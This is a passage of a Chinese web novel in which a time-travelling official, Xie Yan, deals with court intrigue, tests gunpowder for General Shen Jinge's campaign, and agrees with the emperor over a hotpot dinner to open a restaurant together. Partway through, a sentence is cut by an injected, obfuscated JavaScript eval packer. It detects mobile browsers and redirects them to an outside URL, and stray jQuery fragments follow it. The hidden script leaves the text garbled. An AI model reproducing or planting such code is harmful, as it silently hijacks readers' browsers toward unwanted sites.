谢彦作为一个从文明社会穿到古代的人,本就厌恶战争,更厌恶那些因一己私欲而发动战争的人,所以即便沈金戈和皇上不给他任何好处和便利,他也会尽自己所能为大启尽一份力,现在他只希望这些因贪欲而起的战火能快点平息。 25. 臣有愧 谢彦又辗转反侧了许久才终于睡着,等他醒过来的时候,天已经大亮。 沈金戈和铁蛋都已经不在屋里,倒是门外的小丫鬟见他起来了,赶紧端了洗脸水进来,谢彦让她放下便让她出去了。 谢彦洗漱完,就出了房间,正好撞见沈管家,便问他沈金戈和铁蛋去哪了。 沈望道:“回姑爷,小姐带着小公子和罗副将军他们在练武场那边。” 谢彦闻言松了口气,昨晚他剪了沈金戈的里衣,虽说是不得已而为之,但他事后想想,家里又不是没有丫鬟,实在不需要他一个男的给人家上药。 而且沈金戈又是古人,谢彦怕她反应过来后,要是误会自己想趁上药时占她便宜,再把他给揍一顿,他上哪喊冤去。 因此谢彦也没过去练武场那边找铁蛋和沈金戈,连早饭也没吃就匆匆出门了。 谢彦先去街上买了不少东西,随后便回自己家去了。 到家后,他做了不少吃食,打包好让万福送去了将军府,他让万福转告沈金戈,就说他这几天有重要的事要做,不方便出门和见客,所以就不过去将军府那边住了,要是铁蛋想回来,就让万福把他接回来。 另外要是沈金戈想吃什么,就让万福给她送过去。 万福去的时候,沈金戈正好准备进宫,万福把那些吃食交给沈金戈后,又把谢彦的话转达了。 沈金戈听了倒也没有再去把谢彦给硬绑回来,还对万福道:“我最近正好也忙,白天无法陪云儿,那就有劳万管家把他先接回去,等我回来时再去接他。” 她说完又跟铁蛋交代了几句,等送铁蛋和万福离开后,她便带着那些吃食进了宫。 ―― “陛下,臣认为,此次北狄之行,凶险异常,沈将军一介女流只身前往,恐有不测,到时连个相帮之人都没有,再说我大启在北地的将士与其他地方不同,听闻北狄边境将士军纪松散,不服管教,甚至经常有人因为环境恶劣吃不了苦而逃离军营,要是没有一个在身份上能震慑得住他们的人,怕是难以驯服。” 一次早朝上,平时惜字如金的魏相,竟破天荒一口气说了这么长一段话,而且这段话中,还句句都是在替即将去北狄边境的沈金戈考虑的。 玄崇却没有立刻回答,他从魏相淡淡的眉毛看到他稀稀疏疏的一小撮长须,最后定格在他那双早已浑浊却依旧蕴藏着野心的眼睛上,淡笑道:“那不知魏相有何想法?” 魏相闻言,将原本下垂的嘴角勉强往上扯了扯:“前几日贤王带病来找老臣,王爷说沈将军一个外姓将军,都能为大启四处征战,不辞辛劳,那他作为大启皇室中人,自然也不能苟且偷安,所以王爷决定也要为我大启尽一份力,愿同沈将军一道去北狄边境,王爷说他虽然不会武功,但好歹也是个王爷,他若同往,想来北狄边境众将士定然不敢为难沈将军。” “那皇兄为何不亲自来同朕讲,反倒要劳烦魏相来说?” “王爷怕陛下忧心他的病,会不同意,所以才想请老臣来求陛下,王爷还说,沈氏一门为大启鞠躬尽瘁,镇国将军府如今更是只剩沈将军一人,万不能再让她有任何闪失。” 玄崇道:“皇兄素来比朕细心,朕没考虑到的事,他都替朕考虑到了,不过皇兄素来不喜打打杀杀,而且身体尚未痊愈,北地环境恶劣,危机重重,朕是万不能让皇兄去涉险的,不然他要是有个不测,朕该如何同太后交代。” 魏相闻言用衣袖擦了擦眼角才继续说:“陛下爱护兄长之心让人感动。” 本来还以为他接下来要继续煽情,谁料他在略微停顿后却语气突变,面露失望道:“陛下既然舍不得自己兄长去涉险,难道就舍得让沈将军一个女子去涉险,天下人皆知陛下待沈将军如亲妹妹一般,为何这关键时刻陛下却不考虑她的安危,难道陛下真想让镇国将军府这最后一脉也断了不成?” 他说完还看向站在一群武将当中的沈金戈,似乎想看看她的反应。 沈金戈不知是太闲还是嫌这朝堂太枯燥,竟不知从哪里摸来一块布,正在擦她那杆当初沈傲送给玄崇,最后玄崇在找到失踪的沈金戈后,又让袁公公带去老榆树村交给她的那杆银枪。 这杆银枪,当初还是镇国大将军沈傲年少时第一次上战场凯旋而归时,玄崇的皇祖父赐予他的,这杆银枪在皇家和镇国将军府反复辗转,它早已不再是一杆单纯上阵杀敌的兵器,还有上打昏君下打谗臣的权利。 沈傲当初会将御赐的这杆银枪重新送还皇家,还给了年少时的玄崇,就是希望他将来能做个勇敢果决、无需旁人督促的君王。 只是沈傲可能也没想到,玄崇竟然又把这杆银枪给了沈金戈,还特许沈金戈带着这杆银枪上朝,虽然有人背后对此事不满,但也不敢当面有异议。 在魏相朝沈金戈看过去的时候,沈金戈正好擦到枪尖的位置,她把遮住枪尖位置的布拿开,闪着寒光的枪尖直指魏相的方向,“魏相看本将军,可是想询问本将军的意见?” 魏相看着一身煞气的沈金戈,可能也没想到她会突然这么问,只能勉强笑道:“正是。” 沈金戈点了点头:“既然如此,那本将军就直言了,贤王宽厚待人的性子,在大启无人不知,如若让他随本将军去北地,不但起不到震慑北地将士的作用,还会让人觉得我大启已经无人可用了,要一个手无缚鸡之力,心肠又软的王爷上战场去送死!魏相要真替本将军担忧,不如就有劳魏相亲自同本将军走这一趟,有魏相的威名在,别说是我大启将士,就是北狄那些人,见了魏相恐怕也要惧上三分。” 魏相没想到,挑拨皇上和沈金戈的关系不成,反倒让自己陷入被动,只能拿出看家本领:“本相年事已高,纵使有心为我大启尽一份力,怕也是有心无力,以本相的身体,怕是到不了北地,就要交代在路上了。” 沈金戈听了他的话后,露出表示理解的表情:“既然如此,那魏相就好生在家休养,这些打打杀杀的事,就交给我大启这些武将,就不劳魏相费心了,要是魏相和王爷实在想为大启在边关浴血杀敌的将士们尽一份力,倒不如想想办法,多替边关将士筹集一些粮饷,以解他们的后顾之忧。” 沈金戈的话音刚落,当朝的武将就都齐齐跪下:“陛下,臣等觉得沈将军所言极是,还请陛下恩准!” 玄崇闻言示意他们先平身,随后对魏相道:“魏相,各位将军的态度你也看到了,既然如此,这带兵打仗的事,就交给沈将军他们这些武将去做,我们这些外行人就不要跟着添乱了,就像沈将军说的,你和皇兄还有各位想替我大启将士尽一份力的爱卿,不如就留在后方替他们的粮饷问题想想办法。” 玄崇此话一出,本来魏相的那些爪牙还想替魏相说话,就见沈金戈手中的银枪底端重重撞击了一下地面,成功让所有还想说话的人都闭了嘴。 毕竟沈金戈手中那杆银枪曾经一枪就了结了东陵太子,之后她还能相安无事的回来,而且她那杆银枪还有上打昏君下打谗臣的权利,就连龙椅上坐着的那位她都打得,就更别说他们了。 魏相那些爪牙怕自己要是说错什么话让沈金戈抓到话柄,当场就挑了他们其中谁,他们都无处喊冤。 最后魏相铁青着脸退了朝,第二天不出意外的又“病”倒了。 玄崇倒是巴不得他就这么一直病着,所以不仅派袁公公过去慰问,让魏相在家好生休养,袁公公去相府的途中,还大方的给魏相买了几个人家卖不掉的品相欠佳的果子带了过去。 从沈金戈回京开始上朝后,除了魏相告了病假,其他人都是有事启奏,无事绝对不多说一句废话,就怕废话太多最后像东陵太子那样惨死,由于那些人的识相,朝堂上到是难得的和谐。 与魏相那帮人本就不是一路人的大臣们,甚至希望沈金戈能在京多留一段时间,这样不管是他们还是皇上,都能在早朝上不受干扰的议事,而不是还要分出大半精力来与魏相那帮人各种扯皮和算计。 半个月后,谢彦和杜子玉他们被召入朝接受封官。 原本新科状元按常规来说,应该入翰林院,但谢彦却被封了礼部六品员外郎,最终去了礼部。 在京的六品京官,正好卡在需要上早朝的底线上,至于员外郎的日常工作内容,就是负责协助礼部侍郎处理司务。 而杜子玉三兄弟和夏星河还有齐钊,包括那个来自雍城的徐丰年,则全部被外放去当县令,他们所去之地,基本都是穷乡僻壤。 杜子玉他们要去上任的那些地方原本的县令,官品好的却没能力的,就被玄崇下令安排了一些无关紧要的闲职,至于那些被查出来贪污民脂民膏的,则全都被抄没家产下了大牢。 杜子玉他们并没有因为不能留在京城当京官而感到失望,毕竟他们考取功名,本就是为了改变大启现状和施展个人抱负,反倒是留在京城,以他们现在的资历和品级,一定会被束了手脚,无用武之地。 杜子玉他们甚至有些担心谢彦一人留在京城做官,会不会被魏相那些人打压排挤和报复。 谢彦让他们无需担心,说他自有应对之策,临行前还让他们到任后,如果遇到什么解决不了的难题,可以写信告诉他帮忙一起想办法。 杜子玉他们自然不会觉得说这话的谢彦是在自命不凡,他们所去之地,必将有无数难题在等着他们去解决,有了谢彦这个后援,只会让他们在面对困难时更有信心。 送走杜子玉等人,谢彦又给杜文清去了信,随信还带去了一千两的银票,虽然杜文清不一定会要,但至少可以让杜文清在急需用银子的时候应一下急,即便杜文清想把银票还给他,也得等他有机会来京城的时候再说。 现在青川府那边的卤货生意,杜子玉他们已经全部交给了杨青荷在做。 杜子玉兄弟三人当初之所以会接受谢彦把府城的卤货生意让给他们做,一方面是为了锻炼自己,增长一些不一样的见识,另一方面也是为了减轻杜文清的负担,现在即已封官外放,不回青川府了,那青川府的卤货生意,他们自然不会再去分杨青荷一杯羹。 即便杨青荷坚持日后还要给他们分红,兄弟三人也果断拒绝了。 杜子玉他们离京后,这些天一直绕着沈金戈走的谢彦,突然主动找了沈金戈,让沈金戈带他去个离京城远一点的深山里,他要试验一下子他新做出来的火药威力,谢彦不敢在京城试验,以免闹出大动静来,另外他也要趁机教会沈金戈操作。 沈金戈很爽快的同意了,还问能不能带上自己兄长一起去? 谢彦本想说不行,但一想沈金戈的兄长不就是皇上吗,他那里还有胆子拒绝。 最终玄崇悄悄跟着沈金戈出了宫,和谢彦三人一起去了离京城百里开外的一处无人的深山里,去看谢彦试爆火药。 玄崇看着面前那个被炸出来的大坑,虽然面上看不出什么,但内心已是惊涛骇浪,不过更多的是惊喜,有了这个,他相信自己妹妹此次北狄之行,定能平定那边战乱,平安归来。 ―― 沈金戈此次离开时,谢彦提前又托夏星河和齐钊父母从南方买了一批粮食运来京城,让她带去北狄边境。 这批粮食一共花了二十四万两白银,其中有八万两是玄崇放在将军府库房里的银子,是沈家外部产业这些年的收益。 另外还有十六万两是谢彦出的,那还是玄崇之前帮他催债追来的。 另外谢彦手里还剩两万两,那是玄崇让他留下的,说总不能让他白忙活一场。 至于沈金戈拿出来的那八万两,玄崇说是暂借,等到大启缓过来后,就会还给沈金戈。 沈金戈不管玄崇说什么,只要他肯让自己花这笔银子买粮就行。 不过谢彦自然不会觉得玄崇会这么大方,给自己留那么多银子作为报酬,他估计玄崇肯让自己留下那么多银子,是准备让他用来钱生钱的,关键时刻玄崇也不担心他不会往外掏。 另外谢彦给沈金戈准备的火药不是一颗,而是十颗,他甚至还给沈金戈准备了一箱小的,让她在涉险时可以随身携带,关键时刻能保命。 谢彦因为怕自己做得太多了,会让沈金戈多想,因此跟她解释说:“北狄军那么彪悍,我怕一颗根本震慑不住他们,所以多做了一些给沈将军留着有备无患,不然沈将军要是遇到什么不测,我和我朋友将来的生意,可能就做不到北狄去了。” 沈金戈闻言淡淡道:“谢大人无需过多解释,本将军不会多想,等本将军从北狄回来,便会立刻和谢大人解除约定,绝不会恩将仇报,耽误谢大人另寻新欢!” 谢彦点了点头:“那沈将军可一定得活着回来,不然我不仅生意无法做到北狄去了,还要背上个鳏夫的名声,本来我的名声就不太好,到时要是想再娶妻怕是更难了。” 其实本来谢彦还想客气一下,再说点临别赠言啥的,但一听了沈金戈这话,突然就不想说了,还不受控制的回怼了沈金戈几句。 因为怕没忍住怼沈金戈的这几句话,再把她给惹恼了揍他,谢彦用最快的速度抱起正哭的震天响的铁蛋上了马车,就那么灰溜溜的跑了。 沈金戈坐在马上在原地停了一会,直到谢彦他们的马车拐了个弯消失不见,才对自己的兵道:“出发!” 沈金戈对那箱小的球明显比大的更加看重,在临走前还分了一些给玄崇防身用。 玄崇在收到那些会炸的小球时,心情有些复杂,觉得自己完全是沾了妹妹的光。 沈金戈离开京城后,魏相的那些爪牙就又都活跃起来了,因为他们还不知道这次沈金戈去北狄边境带了火药的事,所以都由衷希望沈金戈那个煞神最好死在北狄战场上别回来了。 玄崇不知为何,现在明明可以腾出手来收拾魏相那帮人了,但却迟迟没有大动作。 谢彦现在每日也是按部就班的早起上朝,他一个六品小官,即便有机会上朝,也不可能像沈金戈上朝时那般牛炸天,他甚至连发言的机会都没有。 下了朝后谢彦还要去礼部坐班,礼部虽然明面上没人为难他,但也没有分派差事给他,就让他坐冷板凳。 礼部的一些官员原本以为,像谢彦这样有才年纪又轻的人,肯定受不了这种冷遇,说不定坐不了多久就自己打退堂鼓了。 谁料谢彦却似乎特别喜欢坐冷板凳,每天不是在礼部众人忙碌的时候四处转悠,就是在自己办公的案上写写画画,饿了就吃点从家中带来的小吃食,并且到点就走。 某日休沐的时候,谢彦去了一趟牙行找刘三爷,等回来的时候,正好遇到有卖鲜羊肉的,他也有很久没吃过羊肉了,就多买了一些。 他不仅买了羊肉,又买了肋排,还买了羊肚和羊油,随后又去买了两条大草鱼,还有不少新鲜的时令菜和干子山菇之类的,打算晚上搞个火锅吃。 难得吃一次火锅,所以谢彦吃完午饭就开始准备了,他先把两条大草鱼做成了鱼丸,随后又用羊油和大料熬了火锅底料,同时还把羊肋排熬汤做汤底。 等他把配菜都准备的差不多时,便打算歇会,等铁蛋他们回来后一起吃火锅。 谁知就在这时,袁公公突然过来,宣谢彦进宫。 谢彦在心里翻了个白眼,心说皇上和后世那些周扒皮老板还真没什么区别,明明自己天天上朝,也不见他召见自己,还跟没看见似的,非得赶着自己休沐的时候召见他。 虽然谢彦自己前世也是老板,但讲真,他还真没苛待过员工,即便休息日迫不得已要加班,那也是严格遵照劳动法,工资翻番。 就在谢彦吐槽玄崇的时候,就听袁公公说:“谢大人,陛下说,今日要说的事可能有些费时,还请大人把洗漱要用的东西都带上,今晚就不用回来了,明日正好可以就近上早朝。” 谢彦没想到皇上竟然还要和他来个促膝长谈,他实在想象不出那个画面,但也只能按袁公公说的做,换了官服后,不仅带了洗漱用品,还把自己准备的食材和锅底分了一半打包带上。 皇上素来节俭,袁公公既然连洗漱用品都让他自己带,谢彦自然也不奢望皇上能管他饭,还是有眼色一点,自带口粮招人待见一些,而且以之前的经验来看,还得多带一些更好。 因此他又带了不少还没处理过的食材,然后去写了张便条留给铁蛋和万安他们,好让他们回来后自己弄火锅吃。 袁公公见谢彦把大包小包的往他来时坐的马车上搬,神色比当初说要抠谢彦眼珠子的时候祥和了不少。 这次谢彦依旧被领到了御书房旁边的偏殿里,只是在他原来睡过的那张塌旁边,又多摆了一张塌,并且塌上的被褥和他榻上的还不是一个色的,而是明黄色的。 谢眼看着隔壁塌上被褥那鲜亮的颜色,只觉得一个头两个大,看来皇上今晚还真要和他“促膝长谈”!!! 一旁的袁公公对上次那个给谢彦送饭的小公公道:“小喜子,你带人去把谢大人带来的东西都搬进来!” “是!”小喜子一见谢彦又来宫里住,似乎特别高兴,应了袁公公一声后,又给谢彦行了个礼,就欢欢喜喜地跑了。 “你小心着点,别跟个皮猴似的上窜下跳的,再把谢大人带来的东西给摔了!”袁公公绷着脸训了小喜子一句,但那语气到是比对谢彦说话时温和多了。 “奴才会小心的公公!”已经跑远的小喜子回了袁公公一句,便脚步不停地跑了。 “小喜子年纪小见识少,让谢大人见笑了!” “无妨,少年人的心性本该如此。” 袁公公见谢彦说这话的时候,眼里没有一丝瞧不上他们这样的人的神色,反倒像是由衷的,因此再对谢彦说话时也不再像之前那么刺了:“那大人请吧,陛下在御书房等您呢!” 谢彦便跟着袁公公,穿过偏殿里面的侧门,去了隔壁的御书房。 袁公公带着谢彦进了御书房后,便退出去了。 玄崇正在案上练字,见谢彦进来头也没抬头,谢彦见状也只能垂首站着。 大约一盏茶的功夫后,玄崇才放下笔,又端详了自己新写好的一幅字,随后让谢彦过去。 谢彦虽然不知皇上为何对他这个“黄毛”的态度忽冷忽热的,但也只能给玄崇行了一礼,随后走到书案侧边停下。 “爱卿是杜先生的学生,不知爱卿觉得朕这三个字写得,比起杜先生的字如何?” 玄崇的一句爱卿,听的谢彦头皮发麻,心说你还不如直呼其名,这声爱卿一叫,不知又要让自己做什么? 虽然谢彦明知玄崇这是在给自己挖坑,但也只能看向案上那龙飞凤舞苍劲有力的“万贺楼”三个字。 玄崇的字虽然写的确实不错,颇得先帝遗风,但比起杜文清的字,还是要差上一截。 “敢问陛下,不知陛下写这万贺楼三字是何意?” 谢彦避开对玄崇的字的点评,而是对万贺楼三个字表现出了极大的兴趣。 玄崇淡淡扫了他一眼,到也没有继续让他点评自己的字:“这是朕给爱卿酒楼题的匾额,不知爱卿可还满意否?” 谢彦闻言嘴角抽了抽,心说果然来了,他就知道那两万两不是那么好拿的,这就暗示自己是时候该动起来了,这不,人家连酒楼的名字都给他取好了,还亲自给题了字,他还能说什么,自然要动起来啊。 本来谢彦今天去牙行找刘三爷,也是为了让他帮忙找一找,看看京城有没有适合开酒楼的铺面,或是现成的酒楼转让,没想到玄崇比他还急,直接让袁公公把他召进宫来点他。 “陛下真是料事如神,臣今日刚去牙行找人帮忙寻找适合开酒楼的店铺,没想到陛下连酒楼名字都替臣想好了,臣感激不尽!” 玄崇茶病似乎又犯了,只听他茶里茶气道:“开酒楼本是爱卿个人的事,与朕无关,不过爱卿之前帮了朕那么多的忙,朕还没有好好谢过你,朕见爱卿厨艺甚佳,觉得要是做酒楼生意,他日定能出类拔萃,即便是如今的大启第一酒楼云上楼,怕也是要望其项背。” 谢彦也算听出来了,玄崇不仅要他开酒楼,还要他开比云上楼更大更好的酒楼,要是别人说这话,谢彦肯定会说,你要不要听听你在说什么,先不说别的,就云上楼在大启各个地方所占的地段和装潢,就凭他手里的两万两,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12774184|130138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开一家像云上楼那样规模和奢华程度的酒楼都远远不够,要让云上楼望其项背,他要是不走捷径的话,他不知还得再奋斗个多少年。 虽然玄崇是皇上,所说的每句话都是金口玉言,但谢彦还是打算给他浇点凉水,以免自己短时间内要是达不到他的要求,再被他问罪。 因此谢彦把客观存在的困难一一跟他说了,特别是酒楼选址,他就无法达到人家云上楼那样的规模和好地段。 玄崇难得好脾气的没有死亡凝视谢彦,还破天荒的给出了解决办法:“生意之事朕不懂,爱卿自己决定就好,不过爱卿要是没有合适的地方,朕在京城倒是有一处故人留下的旧居,就在正阳大街云上楼的斜对面,爱卿抽空去看看,要是觉得合适,朕可以代故人做主,卖于爱卿如何?” 正阳大街,那可是京城最繁华的一条街,来京城的外地人,几乎都会去那条街上逛逛,即便平时是省吃俭用的性格,一旦到了正阳大街,也会花平时舍不得花的钱,买下几样可能既不需要也不值那个钱的东西回去。 正阳大街就是有这样的魔力,让人以在那里买东西为荣,可谓是真正的吸金大街。 就是这样的一条街,却鲜少有人在这里闹事,也可以说是不敢闹事,不然下一刻就可能闯下大祸。 这样的的地段,铺面价格可想而知,是真正的寸土寸金,而且那里的店铺基本都是有价无市,绝大部分属于京城那些权贵,普通人即便有钱也买不着。 而玄崇所说的那位故人,谢彦虽然不知道是谁,但京城云上楼斜对面的宅子,他还是知道的,那处不租也不卖的地方,占地估摸着至少也得有两个云上楼大。 那处宅院临街一面先是一个汉白玉门楼,门楼后面还有一个雕花廊道,穿过廊道才能抵达那处房子的大门位置,至于门内是个什么情形,没人知道,因为围墙太高,大门又常年紧闭。 很多人都好奇那处宅子的主人到底是谁,但却又没一个人具体知道是谁,只有一些住在附近的老人,隐隐知道好像曾经是某个高门大户人家小姐的陪嫁,至于那处宅子后来有没有易过主就不清楚了。 谢彦虽然没看过那处房子里面的情形,但既然是玄崇故人的旧居,向来必然不会差,他兜里那点银子,真能够买占地那么大位置还那么好的一处地方吗? 即使玄崇头脑一热打算打折卖给他,那买完呢,又要拿什么来装潢和运营。 自己兜里有多少银子,玄崇恐怕比他还清楚,他既然鼓动自己开酒楼,还要往大了开,应该不会让他陷入僵局,所以谢彦没有急着表态,而是打算听听玄崇接下来怎么说。 玄崇不知是不是看出了他的想法:“要是爱卿的银钱不凑手,也可以换个方式。” 谢彦问他:“陛下是要将那处租给臣?” 玄崇摇头,“那处地方朕不会租给爱卿,不过朕可以以那位故人的旧居入伙你的万贺楼,以后万贺楼的收益,你给朕那位故人两成即可,怎么样,是不是很便宜。而且要是你想在大启其它地方开万贺楼的分店,朕也可以帮忙找店铺,利润同样是只要给朕两成即可,如何?” 本来谢彦还以为玄崇要狮子大开口,没想到他只要两成利润,这个要求实在不算高,即便玄崇不给他解决店铺问题,直接要求入干股,谢彦也会给他,权当是交保护费了。 虽然伴君如伴虎,与皇上合伙做生意,相当于与虎谋皮,要是皇上哪天起了贪念,随便就能找个由头灭了他。 但玄崇既然提出来了要入伙,自己就不能拒绝,不然一样得死,而且以玄崇的秉性,应该不至于因为觊觎他这点银子而弄死他,要不然整个天下都是他的,他想拿多少没有,又何必要过现在这么节俭的日子,因此谢彦立刻道:“陛下英明,臣遵旨。” 玄崇却纠正他道:“这属于朕和爱卿之间的私事,所以才会趁你休沐的时候让你过来,所以现在我们不是以君臣的身份在谈,生意上的事该如何就如何,爱卿要是觉得有什么不合适,可以直言。” “既然陛下如此说,那臣就斗胆直言了,如果陛下真要和臣合伙开酒楼,臣确实是占便宜了,毕竟陛下不仅要给臣提供地方,还要在背后庇护臣,不过臣也有个要求,要是陛下答应,臣才能心无旁骛放手去做,要是陛下不答应,臣就还是先做臣的小生意,慢慢积累。” 玄崇闻言示意他先说来听听。 “臣希望陛下除了庇佑万贺楼外,酒楼一切事宜都交由臣来打理和决断,陛下和您那位故人只管到时拿银子即可。” 玄崇道:“你觉得朕很闲,会有功夫管你酒楼的事?” 谢彦等的就是他这句话:“陛下即如此说臣便放心了,不过还有一事,既然陛下是以私人的身份与臣合伙做生意,那该签的契约也不能少,先小人,后君子,这样以后才能不发生不必要的误会和摩擦。” 玄崇似乎很好说话:“就按照你说的,你还有别的要求吗?” “别的臣都会在契约里写清楚,陛下到时看了便知。” 玄崇点了点头,随后把袁公公叫了进来,让他派人去把自己刚才写得最满意的那张万贺楼三个字,派人拿去做成匾额。 随后他又对谢彦道:“既然爱卿要开能匹敌云上楼的酒楼,那菜品总不能只有卤货和那个面还有糕点之类的,爱卿是不是也该给朕这个入伙的人尝尝你会的其它菜品。 谢彦心说,您要是馋了就直说,何必如此拐弯抹角,不过嘴上却说:“臣来时带了些食材,稍后就去为陛下准备。” 玄崇点了点头,示意他现在就可以去准备了,还让他要是缺什么可以跟小喜子说。 谢彦闻言从侧门退出去了偏殿,他也没有去御膳房,怕闹出大动静,惊动不该惊动的人,他让小喜子去给他拿了两个小炉子和两个铜锅过来,又让他打了一桶水,还让他去拿了刀和案板还有不少盘子和碗过来,随后便用自己带来的炭生了火把汤底先煮上。 等他把配菜和酱料都准备妥当后,就让小喜子去问问玄崇,看他要在哪里用膳。 玄崇其实在御书房就闻见隔壁飘过去的那股味道了,碍于面子一直忍着没过来偏殿看看谢彦到底做的是什么,现在见他让小喜子来问自己,便直接去了偏殿,决定就在偏殿吃。 谢彦见状也只能让他在偏殿唯一的案几旁边坐下,本想教玄崇怎么涮羊肉,但又觉得教皇上做事是不想活了吗,于是只能改口道:“陛下,臣先来替您试下毒。” 他说着夹起一片薄薄的羊肉,在沸腾的铜锅里涮了几下就拿了出来,又沾了点酱料一口吃了,“陛下,没毒,您可以吃了!” 玄崇嘴角抽了抽,随后学着谢彦的样子,拿起筷子夹了一片羊肉,在锅里涮了几下拿起来,沾了些酱料放进嘴里,一种全新的味道刺激着他的味蕾,让他吃了一片还想吃第二片。 连续吃了好几片后,玄崇见谢彦还站着,看了看另外一锅已经在沸腾的锅底,明显是谢彦准备自己吃的,便问他怎么不去吃。 “微臣不敢!” 玄崇心说连朕那皇兄的头发你都敢烧,还有什么你不敢的事,不过美食当前,他也没有扫兴,让谢彦坐下来吃。 谢彦看了眼口水都快流出来的小喜子,和已经回来在伺候玄崇吃饭的袁公公,对玄崇道: “陛下,您现在吃的这个名曰火锅,要人多围着一起吃才热闹,所以臣想请袁公公和小喜公公一起吃,不知陛下可否准许?” 玄崇闻言难得给了他一个笑脸:“准!” 谢彦闻言,立刻让眼睛发亮的小喜子又去搬了一个案几来,然后把另外一锅沸腾的汤底放上去,便招呼他和袁公公一起吃。 本来袁公公自然是不肯的,但玄崇都准了,他也就没有再拒绝,最主要是那味道实在太馋人了。 之后玄崇一人独自一锅在上方吃,谢彦他们三人就在下方的案几上吃,期间谢彦还时不时要过去给玄崇把鱼丸和其它配菜按顺序加进去煮。 除了谢彦,其他三个古人,都深陷火锅的魅力中不能自拔,最后把谢彦准备的一大堆食材一扫而光。 “以爱卿的厨艺,将来万贺楼的生意必定客似云来。” 吃完饭后,玄崇在临去御书房批阅奏折前,说了这么一句。 “托陛下金口,一定会的。” 谢彦说完恭送玄崇离开,就在小喜子的帮助下,收拾洗漱一番睡了。 不知睡了多久,谢彦就听见隔壁床塌上传来窸窸窣窣的声音,谢彦估计是玄崇回来了,为了不再行礼,他直接装睡。 又不知睡了多久,谢彦就听对面塌上的人轻咳一声:“爱卿,上朝的时辰要到了。” 谢彦闻言心里一紧,立刻从塌上弹了起来,让皇上叫起床,他可能也是史无前例了。 正当谢彦想来一句臣有罪的时候,余光就撇见玄尝身上穿着的里衣上,大补丁摞着小补丁,而且那些补丁的色差还特别明显,让人想忽视都难,不知道的,还以为面前坐着的不是皇上,而是一个要饭的。 “爱卿为何如此看朕?” 玄崇见谢彦原本有些惊慌的表情突然僵滞在脸上,明知故问道。 “臣实没想到,陛下不仅为国殚精竭虑,竟已节俭到了如此地步,臣有愧。” “爱卿一没贪污受贿,二没窃盗他人财物,爱卿能过上今日的好日子,都是靠自己的本事赚来的,何愧之有!真正该惭愧的,是那些鱼肉百姓、中饱私囊的贪官污吏,爱卿要是心里实在过意不去,不如就帮朕一起整治那些贪官污吏,还大启一个朗朗乾坤!” “臣定当极尽所能,死而后已。” “朕相信爱卿!” 这半夜三更的,谢彦猝不及防的被玄崇给打了鸡血,等脑子从睡意朦胧中彻底清醒过来后,终于明白玄崇为何要约他来“促膝长谈”了,看看,人家只是穿了件打补丁的里衣,就轻而易举得了他一个肝脑涂地的承诺。 不过他也清楚,要不是玄崇老谋深算,恐怕早在这腹背受敌的情况下,沦为别人手中的傀儡皇帝了。 要是大启真被魏相那帮人掌控,那将又是一场灭顶浩劫。 26. 杀鸡儆猴 “听闻皇上最近终于不再吃食方面苛刻自己了?” 凤栖宫的小佛堂里,一身素衣的魏太后轻捻着手里的佛珠,问伏地跪着的一个小宫女,看小宫女那装束应该是在御膳房当差的。 “回禀太后,之前沈将军回来的时候,进宫时时常会给陛下带吃食,昨晚皇上召谢大人入宫的时候,谢大人也带了不少东西,只是不知谢大人在偏殿里给皇上做了什么膳食,他从进了偏殿就没再出去过,只有小喜子进进出出的拿东西。” “哦,是吗,难道连一点残渣都没剩下?” “回禀太后,正是,不过奴婢有检查过小喜子送回御膳房的两个铜锅,上面有羊肉的味。” “皇上终日为国操劳,确实需要进补,他若是能不再苛待自己,本宫也就放心了,不过那位谢大人说到底总归是外人,不好总让人家费心,不然人家还以为我们皇家连饭都要吃不起了,还得靠一个臣子接济。本宫昨日让人又去卖了两件绣品,那银子你拿去,交给采买的宫人,让他们多买些肉食回来,给陛下进补,这身体补好了,也是时候该立后纳妃,替皇室开枝散叶了。” 魏太后说到这里突然停下,随即又道:“算了,本宫跟你个没出阁的小丫头说这些作甚,你们还是用心照顾好皇上要紧。” 魏太后说完微微侧头看了一眼身边的大宫女,大宫女会意,从身上拿出一个粗布荷包,她把那个荷包交给了底下跪着的小宫女。 小宫女不着痕迹的轻捏了下那个干瘪瘪的荷包,恭恭敬敬的退出了小佛堂。 ―― “陛下,为了江山社稷的稳固,还请陛下早日立后” 早朝上,礼部侍郎薛江说了和魏太后几乎一样的话。 “薛爱卿所言有理,以朕的年纪,确实也该考虑立后纳妃的事,只是不知薛爱卿可知,立后所需的花费是多少?还有纳妃又要花多少银子,还有入宫后的吃穿用度和月银,不知这些银子要从何处出,是从国库出还是各位来替朕想办法,毕竟现在朕的私库里,连维持朕现有的日常花销都难,总不能让朕去当了那些先祖留下来的物件换取银钱来娶妻,那朕百年后还有什么颜面去见列祖列宗!” 本来有不少身上揣着举荐各大世家小姐名字的奏折,在听了玄崇的话后,一时竟不知该不该再呈上去。 皇上竟然已经穷到都娶不起妻的地步了,这话要是被别国的人听见,怕是要笑死,更不会相信,但玄崇说的又确确实实是现实,不说别的,光一个立后大典,就不知要耗费多少人力物力财力,以现在空虚的国库,虽然能拿出这笔银子,但那也得从其它款项里挪用,也就是俗称的拆东墙补西墙。 众人这时才终于反应过来,玄崇正直血气方刚的年纪,却为何迟迟不肯立后,也不提充盈后宫的事,原来不是他不想,而是没银子立后纳妃,更没银子养后宫妃嫔。 这几年因为朝中有不少官员都在观风向,觉得大启的天有可能会变,这种敏感的时候,谁也不会主动去催促玄崇立后纳妃,以免一不小心就把自家的女儿给纳了进去,那到时要是天变了,他们不但一点好处捞不着,还得受牵连。 但自从失踪的沈金戈被找到后,那些官员又发现,大启的天想要变,恐怕没那么容易,所以才又想在玄崇立后这件事上做文章。 如今玄崇的一番话,不仅薛江,就连在场的百官都觉得尴尬,毕竟以大启的现状,国库里的那点银子都是要用在刀刃上的,另外还要被那些过手的官员撸下不少,哪里能用到给皇上立后纳妃上去,要是真用了,他们这些官员的俸禄可能都要发不出来了。 